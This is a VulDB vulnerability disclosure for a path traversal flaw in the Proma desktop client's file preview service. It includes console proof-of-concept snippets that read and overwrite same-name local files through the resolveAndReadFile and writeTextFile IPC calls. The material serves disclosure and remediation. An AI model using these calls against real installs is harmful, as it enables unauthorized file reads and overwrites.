| Titre | proma-ai Proma 0.16.3 / main Path Traversal |
|---|
| Description | A vulnerability was found in Proma. The issue affects the function resolveTargetPath() in apps/electron/src/main/
lib/file-preview-service.ts. When a requested file path does not exist, the function does not fail safely.
Instead, it extracts the basename and recursively searches candidate base paths for the first same-name file and
returns that file. Because renderer-controlled file_path, filePath or path values reach the IPC handlers
file:resolve-and-read and file:write-text, a nonexistent path can be silently rebound to a different same-name
local file inside an authorized root. This leads to unauthorized local file read and unintended overwrite of a
different local text or Markdown file. The issue requires local access and user interaction in the Electron
desktop client. It is constrained to same-name files within authorized candidate base paths and is therefore not
an unrestricted arbitrary file access issue.
Safe minimal reproduction on the current main branch:
1. Prepare a benign local test file inside an authorized root, for example:
C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\allowed-root\nested\collision-note.txt
with the content:
TOP_SECRET_MARKER: readable-content
2. Open the Proma desktop client, open DevTools, and run the following code in the console:
(async () => {
const allowedRoot = String.raw`C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\allowed-root`;
const missingAbs = String.raw`C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\outside-
root\ghost\collision-note.txt`;
const result = await window.electronAPI.resolveAndReadFile(missingAbs, {
candidateBasePaths: [allowedRoot],
});
console.log(result);
})();
Expected result:
The request should fail because the requested file does not exist.
Actual result:
The returned resolvedPath points to:
C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\allowed-root\nested\collision-note.txt
and the returned content is:
TOP_SECRET_MARKER: readable-content
3. Then run the following code in the same console:
(async () => {
const allowedRoot = String.raw`C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\allowed-root`;
const victim = String.raw`C:\Users\<user>\.proma-dev\agent-workspaces\default\poc\allowed-root\nested\collision-
note.txt`;
const ok = await window.electronAPI.writeTextFile(
'missing/subdir/collision-note.txt',
'SAFE_POC_MARKER: overwrite reached same-name file via fallback resolution',
{ candidateBasePaths: [allowedRoot] }
);
const verify = await window.electronAPI.resolveAndReadFile(victim, {
candidateBasePaths: [allowedRoot],
});
console.log({ ok, verify });
})();
Expected result:
The write request should fail because the requested relative path does not exist.
Actual result:
The write operation succeeds, ok is true, and the content of the real file becomes:
SAFE_POC_MARKER: overwrite reached same-name file via fallback resolution
The vulnerable code path is centered in resolveTargetPath() in apps/electron/src/main/lib/file-preview-service.ts,
while the affected sinks are exposed through the IPC handlers file:resolve-and-read and file:write-text in apps/
electron/src/main/ipc.ts. |
|---|
| La source | ⚠️ https://github.com/proma-ai/Proma/issues/1366 |
|---|
| Utilisateur | zhuke (UID 100256) |
|---|
| Soumission | 31/07/2026 10:55 (il y a 1 mois) |
|---|
| Modérer | 10/09/2026 10:02 (1 month later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 401973 [proma-ai Proma jusqu’à 0.19.37 File Preview Service file-preview-service.ts resolveTargetPath file_path directory traversal] |
|---|
| Points | 20 |
|---|